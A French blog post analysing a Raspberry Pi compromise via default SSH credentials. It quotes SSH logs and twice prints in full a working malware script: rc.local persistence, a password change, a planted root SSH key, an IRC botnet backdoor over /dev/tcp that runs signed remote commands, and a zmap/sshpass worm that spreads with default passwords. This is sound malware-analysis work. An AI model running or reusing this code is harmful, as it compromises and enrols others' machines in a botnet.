Présentation
J’aurais pu raconter que j’ai monté chez moi un « honey pot » pour voir ce qu’il se passe mais en fait c’est plutôt une erreur dans le mode opératoire qui m’a conduit à cette situation. Voilà quelques jours que je suis en train de bricoler un cluster de Raspberry, et l’une des première étape était de valider le boot via PXE afin de ne plus m’embêter avec des cartes MicroSD. J’ai donc mis en place, et rendu fonctionnel le tout, en suivant le tutoriel disponible sur le site officiel de raspberry
J’avais à la fin du tutoriel une image par défaut de raspbian fonctionnelle. Comme ça fait plaisir je décide alors d’activer le service OpenVPN sur cette dernière et configurer mon VPN FDN. Quelques minutes plus tard tout fonctionne au poil et mon Raspberry présente une interface tun0 munie d’une jolie adresse IP publique.
Oui mais voila, en faisant ça je publiais l’ensemble des services portés par le Raspberry, sur internet au travers du VPN… Dont le service SSH avec les identifiants et mot de passe par défaut ! La bonne idée 
Le début des embrouilles
Il aura fallu 5 minutes, pour que je vois le Raspberry rebooter tout seul, et que je sois ensuite dans l’incapacité d’y accéder… Je suis joueur mais j’ai à ce moment j’ai préféré couper électriquement le Raspberry et essayer de comprendre ce qu’il venait de se passer. Comme je l’indiquais précédemment, l’ensemble du système de fichier du Raspberry, est hébergé sur un serveur NFS; j’ai donc pu consulter l’ensemble des fichiers sans que la machine ne soit allumée.
Mais en fait il se passe quoi ?
D’abord un p’tit tour dans les logs de connexion:
Jun 8 21:01:53 raspberrypi sshd[933]: Accepted password for pi from 82.67.125.66 port 49074 ssh2
Jun 8 21:01:53 raspberrypi sshd[932]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=crb44-1-82-67-125-66.fbx.proxa
d.net user=pi
Jun 8 21:01:53 raspberrypi sshd[933]: pam_unix(sshd:session): session opened for user pi by (uid=0)
Jun 8 21:01:54 raspberrypi sshd[940]: Received disconnect from 82.67.125.66: 11: disconnected by user
Jun 8 21:01:54 raspberrypi sshd[933]: pam_unix(sshd:session): session closed for user pi
Jun 8 21:01:55 raspberrypi sshd[932]: Failed password for pi from 82.67.125.66 port 49072 ssh2
Jun 8 21:01:55 raspberrypi sshd[932]: Connection closed by 82.67.125.66 [preauth]
Jun 8 21:01:56 raspberrypi sshd[946]: Accepted password for pi from 82.67.125.66 port 49106 ssh2
Jun 8 21:01:56 raspberrypi sshd[946]: pam_unix(sshd:session): session opened for user pi by (uid=0)
À première vue quelqu’un s’est connecté avec les identifiants mot de passe par défaut via le tunnel VPN. Si on cherche un peu sur le net des informations pour cette IP, on réalise rapidement que ce n’est pas la première fois que la chose se manifeste . Cette dernière est semble-t-il une abonnée des brutes-force sur le service SSH. Descendons un peu plus bas dans les journaux d’événements, voir ce qu’il a fait:
Jun 8 21:01:57 raspberrypi sudo: pi : TTY=unknown ; PWD=/tmp ; USER=root ; COMMAND=/bin/cp /tmp/hNMz6kMi /opt/0AgvRpKd
Jun 8 21:01:57 raspberrypi sudo: pam_unix(sudo:session): session opened for user root by (uid=0)
Jun 8 21:01:57 raspberrypi sudo: pam_unix(sudo:session): session closed for user root
Jun 8 21:01:57 raspberrypi sudo: pi : TTY=unknown ; PWD=/tmp ; USER=root ; COMMAND=/bin/sh -c echo '#!/bin/sh -e' > /etc/rc.local
Jun 8 21:01:57 raspberrypi sudo: pam_unix(sudo:session): session opened for user root by (uid=0)
Jun 8 21:01:57 raspberrypi sudo: pam_unix(sudo:session): session closed for user root
Jun 8 21:01:57 raspberrypi sudo: pi : TTY=unknown ; PWD=/tmp ; USER=root ; COMMAND=/bin/sh -c echo /opt/0AgvRpKd >> /etc/rc.local
Jun 8 21:01:57 raspberrypi sudo: pam_unix(sudo:session): session opened for user root by (uid=0)
Jun 8 21:01:57 raspberrypi sudo: pam_unix(sudo:session): session closed for user root
Jun 8 21:01:57 raspberrypi sudo: pi : TTY=unknown ; PWD=/tmp ; USER=root ; COMMAND=/bin/sh -c echo 'exit 0' >> /etc/rc.local
Jun 8 21:01:57 raspberrypi sudo: pam_unix(sudo:session): session opened for user root by (uid=0)
Jun 8 21:01:57 raspberrypi sudo: pam_unix(sudo:session): session closed for user root
Jun 8 21:01:58 raspberrypi sudo: pi : TTY=unknown ; PWD=/tmp ; USER=root ; COMMAND=/sbin/reboot
Jun 8 21:01:58 raspberrypi sudo: pam_unix(sudo:session): session opened for user root by (uid=0)
Je crois qu’on tiens quelque chose ici ! Donc à première vue, le mec s’invite chez moi; DÉJÀ ! copie un fichier /tmp/hNMz6kMi vers /opt/0AgvRpKd; et comme si ça ne suffisait pas modifie mon /etc/rc.local pour exécuter ce qui doit certainement être un script à chaque démarrage de mon pauvre Raspberry. Culotté le type !
Mais que peut bien faire ce script au nom douteux ? Bah allons voir !
#!/bin/bash
MYSELF=`realpath $0`
DEBUG=/dev/null
echo $MYSELF >> $DEBUG
if [ "$EUID" -ne 0 ]
then
NEWMYSELF=`mktemp -u 'XXXXXXXX'`
sudo cp $MYSELF /opt/$NEWMYSELF
sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
sudo sh -c "echo 'exit 0' >> /etc/rc.local"
sleep 1
sudo reboot
else
TMP1=`mktemp`
echo $TMP1 >> $DEBUG
killall bins.sh
killall minerd
killall node
killall nodejs
killall ktx-armv4l
killall ktx-i586
killall ktx-m68k
killall ktx-mips
killall ktx-mipsel
killall ktx-powerpc
killall ktx-sh4
killall ktx-sparc
killall arm5
killall zmap
killall kaiten
killall perl
echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
rm -rf /root/.bashrc
rm -rf /home/pi/.bashrc
usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B" >> /root/.ssh/authorized_keys
echo "nameserver 8.8.8.8" >> /etc/resolv.conf
rm -rf /tmp/ktx*
rm -rf /tmp/cpuminer-multi
rm -rf /var/tmp/kaiten
cat > /tmp/public.pem <<EOFMARKER
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
WRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----
EOFMARKER
BOT=`mktemp -u 'XXXXXXXX'`
cat > /tmp/$BOT <<'EOFMARKER'
#!/bin/bash
SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}
while [ true ]; do
arr[0]="ix1.undernet.org"
arr[1]="ix2.undernet.org"
arr[2]="Ashburn.Va.Us.UnderNet.org"
arr[3]="Bucharest.RO.EU.Undernet.Org"
arr[4]="Budapest.HU.EU.UnderNet.org"
arr[5]="Chicago.IL.US.Undernet.org"
rand=$[$RANDOM % 6]
svr=${arr[$rand]}
eval 'exec 3<>/dev/tcp/$svr/6667;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
echo $NICK
eval 'printf "NICK $NICK\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
# Main loop
while [ true ]; do
eval "read msg_in <&3;"
if [[ ! "$?" -eq 0 ]] ; then
break
fi
if [[ "$msg_in" =~ "PING" ]] ; then
printf "PONG %s\n" "${msg_in:5}";
eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
sleep 1
eval 'printf "JOIN #biret\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
privmsg_h=$(echo $msg_in| cut -d':' -f 3)
privmsg_data=$(echo $msg_in| cut -d':' -f 4)
privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)
hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`
if [[ "$sign" == "$hash" ]] ; then
CMD=`echo $privmsg_data | base64 -d -i`
RES=`bash -c "$CMD" | base64 -w 0`
eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
fi
fi
done
done
EOFMARKER
chmod +x /tmp/$BOT
nohup /tmp/$BOT 2>&1 > /tmp/bot.log &
rm /tmp/nohup.log -rf
rm -rf nohup.out
sleep 3
rm -rf /tmp/$BOT
NAME=`mktemp -u 'XXXXXXXX'`
date > /tmp/.s
apt-get update -y --force-yes
apt-get install zmap sshpass -y --force-yes
while [ true ]; do
FILE=`mktemp`
zmap -p 22 -o $FILE -n 100000
killall ssh scp
for IP in `cat $FILE`
do
sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
done
rm -rf $FILE
sleep 10
done
fi
Préparation du terrain
Bon j’avoue que ça se complique un peu mais il est possible sans trop de souci de comprendre une bonne partie de ce qui a été fait par le script de l’attaquant.
MYSELF=`realpath $0`
DEBUG=/dev/null
echo $MYSELF >> $DEBUG
Ici on récupère le chemin absolu pour le script en court d’exécution.
if [ "$EUID" -ne 0 ]
then
NEWMYSELF=`mktemp -u 'XXXXXXXX'`
sudo cp $MYSELF /opt/$NEWMYSELF
sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
sudo sh -c "echo 'exit 0' >> /etc/rc.local"
sleep 1
sudo reboot
Si le script est exécuté avec un utilisateur dont l’UID est différent de 0 (non root) alors :
- On génère une chaine de caractère,
- On copie le script depuis l’endroit ou il se trouve vers le répertoire /opt
- On écrase ensuite le fichier rc.local existant et on insère le chemin vers le script pour que ce dernier se lance à chaque démarrage.
- Enfin on reboot la machine (pour enfin lancer le script en tant que root
).
Voyons ensuite ce qu’il se passe une fois le script lancé comme le souhaite l’attaquant:
TMP1=`mktemp`
echo $TMP1 >> $DEBUG
killall bins.sh
killall minerd
killall node
killall nodejs
killall ktx-armv4l
killall ktx-i586
killall ktx-m68k
killall ktx-mips
killall ktx-mipsel
killall ktx-powerpc
killall ktx-sh4
killall ktx-sparc
killall arm5
killall zmap
killall kaiten
killall perl
Ici à première vue, rien de super fun, on stoppe d’éventuels services, processus qui pourraient venir parasiter l’exécution du script. Pourtant, en y regardant de plus près, certains noms mettent tout de même un peu la puce à l’oreille, et n’augurent rien de
- bins.sh : semble être en lien avec cette entrée DNS que l’on voit un peu plus bas dans le script.
- minerd : c’est marrant mais on entrevoit vite de quoi ça cause ! Pas manqué, il s’agit d’un outil de mining bictoin
- zmap : bouah ça c’est un truc « standard » disponible dans les dépôts Debian. « ZMap is a fast single packet network scanner designed for Internet-wide network surveys ».
- kaiten : bah alors ! comme si ça suffit pas le monsieur veut en plus un trojan sur ma machine ! Oui parce que cet executable est bien connu des services de sécurité
Je n’ai pour le moment rien trouvé sur ce trucs ktx-XXXXX mais je pense bien qu’il s’agit d’un malware ou autre truc dans le genre qui ne vous veut pas forcement du bien. Pour le début, on a déjà un beau tour d’horizon de l’outil et ce p’tit script tout insignifiant laisse pré-sentir quelque chose d’un peu plus violent que prévu.
La compromission
echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
Là, on ajoute une entrée pour le domaine bins.deutschland-zahlung.eu. Toute requete faite sur ce domaine par la machine infectée résoudra nécéssairement 127.0.0.1 comme adresse IP. je pense que c’est en lien avec le bins.shdonc il est question juste avant.
rm -rf /root/.bashrc
rm -rf /home/pi/.bashrc
On supprime les éventuelles personnalisations de variables d’environnement pour éviter le parasitage pour les utilisateurs root et pi. T’as vu; moi j’aime quand c’est propre et rangé !
usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi
Bon et si on changeait le mot de passe de l’utilisateur pi ? à partir de cet instant tu perds la main sur ta machine…
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B" >> /root/.ssh/authorized_keys
Et puis comme je risque de revenir, je vais poser une clé SSH publique pour s’authentifier avec le compte root sans mot de passe ! Oui c’est mieux pour lancer des choses automatiquement tu comprends
cat > /tmp/public.pem <<EOFMARKER
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
WRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----
EOFMARKER
On pose une p’tite clé publique d’un certificat SSL, on s’en servira plus tard tu vas voir c’est joli !
La porte dérobée
cat > /tmp/$BOT <<'EOFMARKER'
#!/bin/bash
SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}
while [ true ]; do
arr[0]="ix1.undernet.org"
arr[1]="ix2.undernet.org"
arr[2]="Ashburn.Va.Us.UnderNet.org"
arr[3]="Bucharest.RO.EU.Undernet.Org"
arr[4]="Budapest.HU.EU.UnderNet.org"
arr[5]="Chicago.IL.US.Undernet.org"
rand=$[$RANDOM % 6]
svr=${arr[$rand]}
eval 'exec 3<>/dev/tcp/$svr/6667;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
echo $NICK
eval 'printf "NICK $NICK\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
continue
fi
# Main loop
while [ true ]; do
eval "read msg_in <&3;"
if [[ ! "$?" -eq 0 ]] ; then
break
fi
if [[ "$msg_in" =~ "PING" ]] ; then
printf "PONG %s\n" "${msg_in:5}";
eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
sleep 1
eval 'printf "JOIN #biret\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
privmsg_h=$(echo $msg_in| cut -d':' -f 3)
privmsg_data=$(echo $msg_in| cut -d':' -f 4)
privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)
hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`
if [[ "$sign" == "$hash" ]] ; then
CMD=`echo $privmsg_data | base64 -d -i`
RES=`bash -c "$CMD" | base64 -w 0`
eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
break
fi
fi
fi
done
done
EOFMARKER
Je vais traiter tout ce bloc d’un coup, car c’est bien ici que l’intelligence du bousin se trouve. En effet, ici l’attaquant va lancer un socket tcp afin que la machine infectée se connecte à un salon IRC. Pourquoi donc ?
Et bien pour que tu te retrouves membre d’une grande famille de machines zombies pardi. La définition vaudou des zombies représente très bien ce qui est fait de ce genre de machine :Dans la culture vaudou, le zombie est un mort réanimé et sous le contrôle total d’un sorcier
https://fr.wikipedia.org/wiki/Zombie#Concept
Donc dans les grandes lignes, notre machine devient client IRC d’un salon auquel elle se connecte automatiquement, et se met en attente d’instructions qui pourraient être envoyées au travers du salon IRC.
On distingue 2 cas:
- un message PING est envoyé sur le salon. Dans ce cas le client répond simplement PONG pour valider de la bonne connectivité. Si ce n’est pas le cas il tente à nouveau de rejoindre le salon.
- une instruction PRIVMSG complétée par des commandes. C’est ici que l’attaquant va pouvoir soumettre des commandes qui seront exécutées par la machine zombie: toi quoi !
Et comme le mec n’est pas trop dans le partage, il va chiffrer l’ensemble des commandes qu’il soumet, à l’aide du certificat public.pem de tout à l’heure ainsi qu’une petite conversion en base64. Tranquille le chat !
La cerise !
Donc à ce niveau on voit bien que la machine est totalement infectée et commandée par un tiers qui peut exécuter en notre nom tout ce qui pourrait lui passer par la tête (attaque Brutus ! Attaque ! )
Mais il reste des lignes dans notre script… Le mec s’incruste chez toi, te fout à poil, te fait faire ce qu’il veut, et il n’est toujours pas satisfait !? Décidément nous sommes tombé sur un gourmand.
apt-get update -y --force-yes
apt-get install zmap sshpass -y --force-yes
while [ true ]; do
FILE=`mktemp`
zmap -p 22 -o $FILE -n 100000
killall ssh scp
for IP in `cat $FILE`
do
sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
done
rm -rf $FILE
sleep 10
done
Voila ce qu’il manquait pour parfaire le tableau !!
zmap, comme je l’indiquais précédemment c’est juste un scanner de port ultra rapide. Donc la l’attaquant qui a tout de même pas mal prit ses aises depuis tout à l’heure bah continu sur sa lancée.
Ici le monsieur va utiliser notre client pour scanner la bagatelle de 100000 adresses IP à la recherche d’un port 22 ouvert. Dès qu’il en trouve un, il tente une connexion SSH avec les identifiant/mot de passe par défaut et essai de déposer le script via SCP sur la machine distante, le rend exécutable et enfin l’exécute.
Une fois notre machine infectée, l’attaquant utilise donc cette dernière comme vecteur de propagation pour à son tour infecter des machines !! C’est beau !
Conclusion
Nous avons donc ici vu une attaque exploitant une configuration par défaut, ainsi que toute la méthodologie pour infecter, contrôler, mais aussi utiliser comme vecteur de propagation une machine compromise. Un joli cas d’école pour ma part que j’ai eu plaisir à trouver et étudier.
Moralité de l’histoire, laisser les chose dans leur configuration par défaut c’est mal ! et ça peut faire mal !
Si j’ai la foi je vais essayer de continuer l’analyse et rebrancher la machine afin de voir ce que le sorcier ( le pirate ) peut bien demander à ses zombies de faire. Merci à l’attaquant pour m’avoir permis donné un truc sympa à analyser, j’ai vraiment passé un bon moment (ne pas croire non plus que je n’attend que ça hein ) !
Bisous et n’hésitez pas a réagir ou me faire part de vos commentaires ça me fera super plaisir !
Liens connexes
- https://vms.drweb.fr/virus/?_is=1&i=15389228
- https://www.raspberrypi.org/forums/viewtopic.php?f=62&t=185625&sid=b2b4c4ec1edd3c0f3c449d5c72e1ebac
- http://www.silicon.fr/un-malware-linux-force-les-raspberry-pi-a-miner-de-la-crypto-monnaie-177263.html
- http://x.malwaremustdie.org/stat/ozn.html : le vilain qui se cache derrière kaiten